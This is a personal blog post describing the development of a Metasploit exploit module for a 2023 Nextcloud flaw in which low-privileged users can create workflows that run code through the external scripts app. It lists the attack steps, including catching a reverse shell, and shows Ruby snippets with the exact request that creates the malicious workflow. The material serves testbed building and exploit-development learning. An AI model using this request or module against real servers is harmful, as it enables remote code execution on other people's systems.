FUN WITH LINUX

Developing a Metasploit exploit for Nextcloud

29 June 2025

Metasploit Logo

In 2023, I contributed my first exploit module to the Metasploit Framework. At the Austrian Institute of Technology, I frequently create testbeds, such as the AttackBed, and simulate networks under attack. This time, I was looking for a webmail software and stepped over the webmail plugin for Nextcloud. I discovered that in 2023, a remote code execution vulnerability was found in Nextcloud. Such a vulnerability would be very useful in our AttackBed and therefor I decided to write an exploit. Since there were only hazy information about that vulnerability in the security advisory on GitHub at the time, I read the Nextcloud patches and created an exploit module for the Metasploit Framework.

About the vulnerability

Enis Maholli, Armend Gashi, and Arianit Isufi discovered in 2023 a vulnerability in Nextcloud that allows low-privileged users to add workflows that only administrators should be allowed to create. If the app “external scripts” is installed, attackers can create workflows that execute code on the server. I won’t go into particular details; Enis wrote a nice blog article about it. I recommend reading that article.

Attacksteps

I wrote the exploit for the Metasploit Framework so that I can automize the attack using the attackmate tool. The exploit steps are the following:

  1. Authenticate using username and password in nextcloud
  2. Create a workflow that executes the payload.
  3. Upload a file to trigger the execution of the workflow
  4. As soon as the reverse-shell is connected, delete the workflow and the file again to keep the system clean

The last step is not necessary to gain access, but it avoids conflicts when the exploit is executed again.

The Metasploit Module

In my blog article “Contributing a Metasploit Exploit”, I explained that the Rapid7 Team reviews pull requests very thoroughly. In that way, I always learn something new about the framework. This time, again, they showed me a couple of functions that allowed me to integrate my module smoothly.

Let the shell-listener wait

One major problem I encountered was that my shell listener stopped immediately after the exploit() method returned. After uploading the file, it may take several minutes for the Nextcloud cron job to run again and trigger the workflow. However, there is nothing else to do for the exploit() method after the file upload. So, if the method exits, the listener stops, and no shell gets executed.

My initial approach was to start a thread, wait a couple of seconds, execute the shell listener in the meantime, and then, after the timeout, upload the file that triggers the payload. In that way, the listener is ready when the payload tries to connect.

def wait_for_payload_session
    print_status 'Waiting for the payload to connect back ..'
    begin
      Timeout.timeout(datastore['ListenerTimeout']) do
        loop do
          break if session_created?

          Rex.sleep(0.25)
        end
      end
    rescue ::Timeout::Error
      fail_with(Failure::Unknown, 'Timeout waiting for payload to start/connect-back')
    end
    print_good 'Payload connected!'

I don’t need to mention that I was thrilled when the Rapid7 team introduced me to the built-in “WfsDelay” setting. WfsDelay allows us to set the waiting time, in seconds, that the listener should wait after the exploit() method exits.

I was able to eliminate the wait_for_payload_session and the main part of the exploit got much more readable and shorter:

def exploit
    # Main function
    cookie_jar.clear

    authenticate(datastore['USERNAME'], datastore['PASSWORD'])

    request_token

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    end
  end

  def execute_command(cmd, _opts = {})
    print_status('Sending payload..')
    @temp_filename = "#{Rex::Text.rand_text_alpha(5..10)}..txt"
    @flow_id = create_workflow(cmd.to_s)

    fail_with(Failure::UnexpectedReply, 'Unable to create workflow') if @flow_id.nil?

    print_good('Workflow created')
    upload_file(@temp_filename)
  end

No need for using the JSON.parser

When it comes to parsing the json-result of a HTTP-request I always used JSON.parse():

json_data = JSON.parse(res.body)

The more beautiful way is:

json_data = res.get_json_document

Accessing the data of a hash in ruby could throw key-not-found-errors if the index does not exist:

flow_id = json_data['ocs']['data']['id']

Ruby has a wonderful method called dig to fail gracefully and return nil if the index does not exist:

flow_id = json_data.dig('ocs', 'data', 'id')

Function to create random text

To trigger the exploit one has to upload a file first. I wanted to have a random name for the file, to make blacklisting more difficult. Of course there are functions to generate random data:

    @temp_filename = "#{Rex::Text.rand_text_alpha(5..10)}..txt"

Sending requests

The Metasploit Framework offers a method called send_request_cgi that covers most of the functions a HTTP-client needs. The workflow is created by sending JSON-data to the Nextcloud Server:

   res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'ocs/v2.php/apps/workflowengine/api/v1/workflows/user'),
      'method' => 'POST',
      'headers' => { 'requesttoken' => @token, 'Content-Type' => 'application/json' },
      'vars_get' => { 'format' => 'json' },
      'data' => {
        'id' => -1743078702939,
        'class' => 'OCA\\WorkflowScript\\Operation',
        'entity' => 'OCA\\WorkflowEngine\\Entity\\File',
        'events' => ['\\OCP\\Files::postCreate', '\\OCP\\Files::postWrite', '\\OCP\\Files::postTouch'],
        'name' => '',
        'checks' => [
          {
            'class' => 'OCA\\WorkflowEngine\\Check\\FileName',
            'operator' => 'matches',
            'value' => '/.*/',
            'invalid' => false
          }
        ],
        'operation' => operation,
        'valid' => true
      }.to_json,
      'keep_cookies' => true
    )

As we can see, it is straight forward to set the headers(for the Content-Type) and to define that the data is in JSON-format(vars_get' => { 'format' => 'json' }. I also want to mention that there is a built-in cookie-jar and we can easily keep the cookies using keep_cookies => true

Conclusion

Even though I haven’t discovered the vulnerability, I had a lot of fun developing the exploit for it. The Rapid7 team was constructive and guided me well in improving the exploit. I learned a great deal through the process, and I am also proud to have created the first Nextcloud exploit for Metasploit.


[ Security  Programming  Ruby  Metasploit  ]
Except where otherwise noted, content on this site is licensed under a Creative Commons Attribution 3.0 Unported License.

Copyright 2015-present Hoti